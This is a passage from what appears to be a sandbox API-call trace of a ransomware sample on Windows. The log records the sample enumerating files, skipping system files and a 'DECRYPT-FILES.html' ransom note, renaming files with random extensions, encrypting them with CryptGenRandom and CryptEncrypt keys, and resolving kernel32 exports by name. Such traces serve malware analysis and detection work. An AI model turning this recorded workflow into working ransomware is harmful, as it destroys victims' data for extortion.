lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0106.696] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0106.696] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0106.696] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0106.697] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0106.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0106.697] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.cbzJvUj") returned 52 [0106.697] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.cbzJvUj" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.cbzjvuj"), dwFlags=0x0) returned 1 [0106.697] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.698] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.698] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.699] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="DECRYPT-FILES.html") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="autorun.inf") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="boot.ini") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="desktop.ini") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="ntuser.dat") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="iconcache.db") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="bootsect.bak") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="ntuser.dat.log") returned 1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="thumbs.db") returned -1 [0106.699] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="Bootfont.bin") returned 1 [0106.699] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0106.699] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0106.699] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0106.699] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="PartnerSetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" [0106.699] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0106.699] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0106.700] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=577) returned 1 [0106.700] CreateFileMappingW (hFile=0x53c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x540 [0106.700] MapViewOfFile (hFileMappingObject=0x540, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0106.960] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3000000 | out: pbBuffer=0x3000000) returned 1 [0106.961] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3000020 | out: pbBuffer=0x3000020) returned 1 [0106.961] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0106.961] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0106.961] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0106.962] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.962] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0106.962] CloseHandle (hObject=0x540) returned 1 [0106.963] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.963] WriteFile (in: hFile=0x53c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0106.964] CloseHandle (hObject=0x0) returned 0 [0106.964] CloseHandle (hObject=0x53c) returned 1 [0106.967] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.968] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.968] GetTickCount () returned 0x303f9 [0106.968] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0106.968] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0106.968] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0106.969] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0106.969] lstrlenA (lpString="kernel32.dll") returned 12 [0106.969] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0106.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0106.969] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0106.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0106.969] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0106.970] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0106.970] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0106.970] lstrlenA (lpString="ADDATOMA") returned 8 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0106.970] lstrlenA (lpString="ADDATOMW") returned 8 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0106.970] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0106.970] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0106.970] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0106.970] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0106.970] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0106.970] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0106.970] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0106.970] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0106.970] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0106.970] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0106.970] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0106.970] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0106.970] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0106.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0106.971] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0106.971] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0106.971] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0106.971] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0106.971] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0106.971] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0106.971] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0106.971] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0106.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0106.971] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0106.972] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0106.972] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0106.972] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0106.972] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0106.972] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0106.972] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0106.972] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0106.972] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0106.972] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0106.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0106.972] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0106.973] lstrlenA (lpString="BACKUPREAD") returned 10 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0106.973] lstrlenA (lpString="BACKUPSEEK") returned 10 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0106.973] lstrlenA (lpString="BACKUPWRITE") returned 11 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0106.973] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0106.973] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0106.973] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0106.973] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0106.973] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0106.973] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0106.973] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0106.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0106.974] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0106.974] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0106.974] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0106.974] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0106.974] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0106.974] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0106.974] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0106.974] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0106.974] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0106.974] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0106.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0106.975] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0106.975] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0106.975] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0106.975] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0106.975] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0106.975] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0106.975] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0106.975] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0106.975] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0106.975] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0106.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0106.976] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0106.976] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0106.976] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0106.976] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0106.976] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0106.976] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0106.976] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0106.976] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0106.976] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0106.976] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0106.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0106.977] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0106.977] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0106.977] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0106.977] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0106.977] lstrlenA 